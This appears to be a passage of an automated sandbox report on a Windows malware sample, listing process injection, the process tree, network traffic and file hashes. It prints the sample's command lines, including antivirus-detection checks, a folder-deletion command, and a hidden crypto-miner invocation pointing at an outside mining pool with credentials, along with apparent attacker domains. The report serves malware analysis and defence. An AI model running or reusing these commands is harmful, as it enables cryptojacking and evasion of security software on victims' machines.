N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\ProgramData\GHJDBAKEHD.exe N/A
N/A N/A C:\ProgramData\HDGDHCGCBK.exe N/A
N/A N/A C:\ProgramData\HDGDHCGCBK.exe N/A
N/A N/A C:\ProgramData\GHJDBAKEHD.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\ProgramData\HDGDHCGCBK.exe N/A
N/A N/A C:\ProgramData\GHJDBAKEHD.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3664 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\Setup.exe C:\Windows\SysWOW64\cmd.exe
PID 3664 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\Setup.exe C:\Windows\SysWOW64\cmd.exe
PID 3664 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\Setup.exe C:\Windows\SysWOW64\cmd.exe
PID 1976 wrote to memory of 764 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 1976 wrote to memory of 764 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 1976 wrote to memory of 764 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 1976 wrote to memory of 548 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 1976 wrote to memory of 548 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 1976 wrote to memory of 548 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 1976 wrote to memory of 3096 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 1976 wrote to memory of 3096 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 1976 wrote to memory of 3096 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 1976 wrote to memory of 3536 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 1976 wrote to memory of 3536 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 1976 wrote to memory of 3536 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 1976 wrote to memory of 3320 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 1976 wrote to memory of 3320 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 1976 wrote to memory of 3320 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 1976 wrote to memory of 1272 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 1976 wrote to memory of 1272 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 1976 wrote to memory of 1272 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 1976 wrote to memory of 4576 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 1976 wrote to memory of 4576 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 1976 wrote to memory of 4576 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 1976 wrote to memory of 2372 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 1976 wrote to memory of 2372 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 1976 wrote to memory of 2372 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 1976 wrote to memory of 4212 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 1976 wrote to memory of 4212 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 1976 wrote to memory of 4212 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2372 wrote to memory of 3784 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 2372 wrote to memory of 3784 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 2372 wrote to memory of 3784 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 2372 wrote to memory of 3784 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 2372 wrote to memory of 3784 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 3784 wrote to memory of 2112 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\ProgramData\GHJDBAKEHD.exe
PID 3784 wrote to memory of 2112 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\ProgramData\GHJDBAKEHD.exe
PID 3784 wrote to memory of 2112 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\ProgramData\GHJDBAKEHD.exe
PID 3784 wrote to memory of 4600 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\ProgramData\HDGDHCGCBK.exe
PID 3784 wrote to memory of 4600 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\ProgramData\HDGDHCGCBK.exe
PID 3784 wrote to memory of 4600 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\ProgramData\HDGDHCGCBK.exe
PID 4600 wrote to memory of 3508 N/A C:\ProgramData\HDGDHCGCBK.exe C:\Windows\SysWOW64\ftp.exe
PID 4600 wrote to memory of 3508 N/A C:\ProgramData\HDGDHCGCBK.exe C:\Windows\SysWOW64\ftp.exe
PID 4600 wrote to memory of 3508 N/A C:\ProgramData\HDGDHCGCBK.exe C:\Windows\SysWOW64\ftp.exe
PID 2112 wrote to memory of 3588 N/A C:\ProgramData\GHJDBAKEHD.exe C:\Windows\SysWOW64\ftp.exe
PID 2112 wrote to memory of 3588 N/A C:\ProgramData\GHJDBAKEHD.exe C:\Windows\SysWOW64\ftp.exe
PID 2112 wrote to memory of 3588 N/A C:\ProgramData\GHJDBAKEHD.exe C:\Windows\SysWOW64\ftp.exe
PID 4600 wrote to memory of 3508 N/A C:\ProgramData\HDGDHCGCBK.exe C:\Windows\SysWOW64\ftp.exe
PID 2112 wrote to memory of 3588 N/A C:\ProgramData\GHJDBAKEHD.exe C:\Windows\SysWOW64\ftp.exe
PID 3784 wrote to memory of 1692 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Windows\SysWOW64\cmd.exe
PID 3784 wrote to memory of 1692 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Windows\SysWOW64\cmd.exe
PID 3784 wrote to memory of 1692 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Windows\SysWOW64\cmd.exe
PID 1692 wrote to memory of 4632 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 1692 wrote to memory of 4632 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 1692 wrote to memory of 4632 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 3508 wrote to memory of 4544 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 3508 wrote to memory of 4544 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 3588 wrote to memory of 4616 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\SysWOW64\explorer.exe
PID 3588 wrote to memory of 4616 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\SysWOW64\explorer.exe
PID 3588 wrote to memory of 4616 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\SysWOW64\explorer.exe
PID 3508 wrote to memory of 4544 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 3508 wrote to memory of 4544 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 3588 wrote to memory of 4616 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\SysWOW64\explorer.exe
PID 4544 wrote to memory of 3364 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Users\Admin\AppData\Local\Temp\Setup.exe

"C:\Users\Admin\AppData\Local\Temp\Setup.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k copy Revenues Revenues.cmd & Revenues.cmd & exit

C:\Windows\SysWOW64\tasklist.exe

tasklist

C:\Windows\SysWOW64\findstr.exe

findstr /I "wrsa.exe opssvc.exe"

C:\Windows\SysWOW64\tasklist.exe

tasklist

C:\Windows\SysWOW64\findstr.exe

findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c md 366279

C:\Windows\SysWOW64\findstr.exe

findstr /V "RingtoneRentMicrosoftFocuses" Editors

C:\Windows\SysWOW64\cmd.exe

cmd /c copy /b Isle 366279\m

C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif

366279\Suspect.pif 366279\m

C:\Windows\SysWOW64\timeout.exe

timeout 5

C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif

C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif

C:\ProgramData\GHJDBAKEHD.exe

"C:\ProgramData\GHJDBAKEHD.exe"

C:\ProgramData\HDGDHCGCBK.exe

"C:\ProgramData\HDGDHCGCBK.exe"

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\IEHCAKKJDBKK" & exit

C:\Windows\SysWOW64\timeout.exe

timeout /t 10

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe -a rx/0 --url=65.109.127.181:3333 -u PLAYA -p PLAYA -R --variant=-1 --max-cpu-usage=70 --donate-level=1 -opencl

C:\Users\Admin\AppData\Roaming\help\fxcloud.exe

C:\Users\Admin\AppData\Roaming\help\fxcloud.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Users\Admin\AppData\Roaming\help\fxcloud.exe

C:\Users\Admin\AppData\Roaming\help\fxcloud.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Users\Admin\AppData\Roaming\help\fxcloud.exe

C:\Users\Admin\AppData\Roaming\help\fxcloud.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\ftp.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
NL 23.62.61.194:443 www.bing.com tcp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 194.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 eijWYJUUWJTVUfljdtx.eijWYJUUWJTVUfljdtx udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 theemir.xyz udp
US 104.21.81.243:443 theemir.xyz tcp
US 8.8.8.8:53 c.pki.goog udp
GB 172.217.169.67:80 c.pki.goog tcp
US 8.8.8.8:53 67.169.217.172.in-addr.arpa udp
US 8.8.8.8:53 243.81.21.104.in-addr.arpa udp
US 104.21.81.243:443 theemir.xyz tcp
US 104.21.81.243:443 theemir.xyz tcp
US 104.21.81.243:443 theemir.xyz tcp
US 104.21.81.243:443 theemir.xyz tcp
US 104.21.81.243:443 theemir.xyz tcp
US 104.21.81.243:443 theemir.xyz tcp
US 104.21.81.243:443 theemir.xyz tcp
US 104.21.81.243:443 theemir.xyz tcp
US 104.21.81.243:443 theemir.xyz tcp
US 104.21.81.243:443 theemir.xyz tcp
US 104.21.81.243:443 theemir.xyz tcp
US 8.8.8.8:53 businessdownloads.ltd udp
US 172.67.212.123:443 businessdownloads.ltd tcp
US 8.8.8.8:53 123.212.67.172.in-addr.arpa udp
US 104.21.81.243:443 theemir.xyz tcp
US 8.8.8.8:53 i.imgur.com udp
US 199.232.192.193:443 i.imgur.com tcp
US 8.8.8.8:53 193.192.232.199.in-addr.arpa udp
US 104.21.81.243:443 theemir.xyz tcp
US 104.21.81.243:443 theemir.xyz tcp
US 104.21.81.243:443 theemir.xyz tcp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 104.21.81.243:443 theemir.xyz tcp
US 104.21.81.243:443 theemir.xyz tcp
US 52.111.227.13:443 tcp
US 8.8.8.8:53 22.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 249.197.17.2.in-addr.arpa udp
FI 135.181.22.88:80 135.181.22.88 tcp
US 8.8.8.8:53 88.22.181.135.in-addr.arpa udp
FI 65.109.127.181:3333 tcp
US 8.8.8.8:53 proresupdate.com udp
US 45.152.112.146:80 proresupdate.com tcp
US 8.8.8.8:53 146.112.152.45.in-addr.arpa udp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
US 8.8.8.8:53 211.143.182.52.in-addr.arpa udp
N/A 224.0.0.251:5353 udp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
US 45.152.112.146:80 proresupdate.com tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
US 45.152.112.146:80 proresupdate.com tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
US 45.152.112.146:80 proresupdate.com tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
US 45.152.112.146:80 proresupdate.com tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp

Files

C:\Users\Admin\AppData\Local\Temp\Revenues

MD5 774a97f2c63a28f5b795e0c7f3a1e797
SHA1 2ab25671bd5a2b253d54594301b765f171aa0cd5
SHA256 a08c17ffca06c08afa2bf6ee98a09c08a2cc22a78596497635cb372d644f140d
SHA512 e6c576edbfc972a9272d4fd969dc4e4f82f5ec61be2c526a1e2686cd4ee0734a649c78673f10efd3e3d9ae7b329a440adcd830fcb6bf3f53d30f678e001518d6

C:\Users\Admin\AppData\Local\Temp\Editors

MD5 c06b582d8286115b48f81ec53f36b383
SHA1 4f925d9b551cebda3f898ad18c62925979bcda7e
SHA256 70290025a0c87bcbd58ea8caf22e2dc0104e726ef3a7f9d9649758869def4189
SHA512 c98e48feca40abf3fc22803dcc80c3f7dc11bc8f3ff6fd03a3d733c1acf438294347169887bcbce82ff20fa9a6cbf0a0d94c76dc15bb5989093d1c2f7903864a

C:\Users\Admin\AppData\Local\Temp\Comparisons

MD5 4e292eb85ce9e016ff5a01c719c027c2
SHA1 61b3995398ed8390e8b8dc1a262eb94d55d6b80f
SHA256 6492ab6cd6f8f028f0824e026ed7c5401136f203f7de953bc60f61b32de4b41f
SHA512 9a19f0345059e401fa82e1d90a103438a04b579ccab2667d609f3d7c0764fd91553e6dda65e771fbf3fb059b0e460ad885c22cf39562bacd7e44b4e7bea43ad7

C:\Users\Admin\AppData\Local\Temp\Terminology

MD5 bc54db6ebb67ee3a2e3c127758bc2884
SHA1 4068d9984c207545e62ad464e2134cac265bf9f7
SHA256 8c1e83e582baf2b8232a7ab8e81a751b45d260f4ff01bab2e42783d0e24d6b43
SHA512 a03330c03209d8ef28707854fda4ce7b2b680a374d820d8e699ef980cc6b1e5548eec7c8c86608e3507b3490f38d61f067b25d99d725f10158b9837666aef3cc

C:\Users\Admin\AppData\Local\Temp\July

MD5 d71ce9af90d20d69dc3de9bc70f9cacd
SHA1 3b5737986225b7358b909f43a201d4872cd3a294
SHA256 fbbc13426ec699ffd56f6c53bc5e5259e25af602205c3d04beac1d4c578f85da
SHA512 85dfe8e9705b97c6a877b0785394171768dc33effa3a37b9969d35ead669172e6e4eb1357d8c231db778a0b37b2d8253b9e6d170e45959ba24a6b2fac868399e

C:\Users\Admin\AppData\Local\Temp\Arg

MD5 d4c42c532dceb34e65d7defc682e77dc
SHA1 7584981bc314640ba1b92da552ffeaedc4ea3a21
SHA256 3e7706b03275975037e49a1a7f29e67bce822086f90630948d9528d9c4b68182
SHA512 67ca5bf547b9bda235c44166681cac7e12515fa49b78ee8d7f564fc094c1509e8fe2f2f029a99ec96ab1fbfb1b9c2d501e4e1d65b4855b75639f2974ac804a4b

C:\Users\Admin\AppData\Local\Temp\Bt

MD5 cf6a6e9c0b825f2b1ced20b4ab200db6
SHA1 8d1987c13c8dc1287f0eb631201ca6eee12b4cd0
SHA256 6e4b33cc9c80b969af96b31b1e95588f9cf79e3670951c63172d60d4e1324f95
SHA512 337bca6e3e8e323821d3767feacc10faefb52b4664968e99c1ab62a72f6770f41bc338bfb672e6602249266b141c4e99d004e48adcd87ea308bdec493674dfdc

C:\Users\Admin\AppData\Local\Temp\Wb

MD5 901d26287ebe3e866d15b610764c49c1
SHA1 13793e6f446a09511642a4f3085cb029a4b853ff
SHA256 c74030e343c6fde4a1f1cf54010c186f9e80b457662bab5500848597c2e19504
SHA512 19ae02941a1a17cbe12c653b3067e10e91e5fe8dd73e0ff2373355eb9ee41af3767ae06885a3fb35bb06e411ec8ac0f291d24e717c01adfcb802539b3cf1f15a

C:\Users\Admin\AppData\Local\Temp\Choose

MD5 fb2cc8e690d82366990f2f20a4a5ab75
SHA1 5556232996e954f981144129298e298c75f8c2fe
SHA256 51982155baed7d5006ebc4446a417f320f8d754ec99911fcfa97ee5d37ce7756
SHA512 e8ae811d270bd2de39d0578e84b0001bffaf34969a1fabaedbe804d96eb79919c13578f41af339ce9af26f5cb6cb107bd6d79c1af9aee8a9e359b4b885fde823

C:\Users\Admin\AppData\Local\Temp\Ns

MD5 67546d73dfe4d66538a7ac7dc030238f
SHA1 1a3450f06ac594739db273e3eb0155018fccc88e
SHA256 71f45ed46fbd47494a7ecb9b31c07214d99133e35b974f5cf2beceabb639217d
SHA512 f3ceb864801ddb2d7f8298950dd76a0738ab4586796d16290c1c8c11579b9017a9b14c94341c24ac024f89a38e402c81903fcabaa2dddd21ca681af173bf5bb3

C:\Users\Admin\AppData\Local\Temp\Objects

MD5 f2f3a8cb98474080fdcca6a39b6b3915
SHA1 49f7327ca65d969203be51ccbf9f4033579923d0
SHA256 ca682c8dcdca30548120b6d3194eebf36a9208bef0e9b611da828bd912a38260
SHA512 cde92ed6e3ad806f0acd220990b46168862511222ae3667c62084f93622cc7ba2e91ed3b1e489f5721b8eeba9fc25b5a718febe3718c1afb74fcc6b4f8c0b1b9

C:\Users\Admin\AppData\Local\Temp\Gc

MD5 f446974fde635cadfcc03c9a25fd3780
SHA1 b59e1202f13139f21db4274d65ac51d2a0f8b856
SHA256 5bc7072917151653d7c40e272d8a95a86bbe7ad027eb30a811331a6f7df7ba51
SHA512 cc1a13562df99e2e2a240ad8d8e8d948846c6c5be0c995d87785e3cf73b54824ee7318c423972ea362dafbaac986f19d0117bc7e5192af5a2ff9fc8430bcc1e7

C:\Users\Admin\AppData\Local\Temp\Marcus

MD5 16fcba5d9aed0ef000c886f56cba85ee
SHA1 22584f6b7227ea3e0898233325be3ecb3c7bef6a
SHA256 35d270b74aa68781c8e0bc3cd008718ce362fe9fd32c9ba1ad52b82fe37d07aa
SHA512 7beb4a5207087b0e37f16df84702e4cac8699f951f6a92c7185bc83582766a43ef18bc93af24827793951f2417dd39bdf0717876f75f32feacec93fdfb2896f7

C:\Users\Admin\AppData\Local\Temp\Thus

MD5 08c077a34051a75c2b915a517c5d7d54
SHA1 ecb5cef32ca27ea5542b7416bc550601721f4a32
SHA256 3ed1a12fde96bc80c62d54a0647000dff23a63b987fe8c3faa9e11b4357321a0
SHA512 8746dae03892cee35b1a4463a7765399f2d1d1d989c53d0881043991c4187f7b4b1765376c435ff13722ec6dff2da98287efca0b335508f24d6f1805034e0f70

C:\Users\Admin\AppData\Local\Temp\Broadway

MD5 abfa29a29931ff6299126aed8dd08859
SHA1 c436e000edcc042f7f7889950a610c94d590d36c
SHA256 dd57cfa1ec84ac01cd4aab6dd18046b3a49daf0445ae29d6695c4a25c0bcd59d
SHA512 c0941a5de5fe072ba81b41b555ffdb59c6e0d2b9bed66a0cbb899699c38792cda0bb9857ab0752dbe0b3c966688ccb523989677803bf637675ec435a8c12406e

C:\Users\Admin\AppData\Local\Temp\Shares

MD5 8715208e25afa7a73918e84ee8b27f50
SHA1 61935bc176db5586053d1d5a22dae8092e6a3f7e
SHA256 f0eba5c2f4c9998b0a491a7ec4fc953e601235709b3536ba1a928e8d5021d3f1
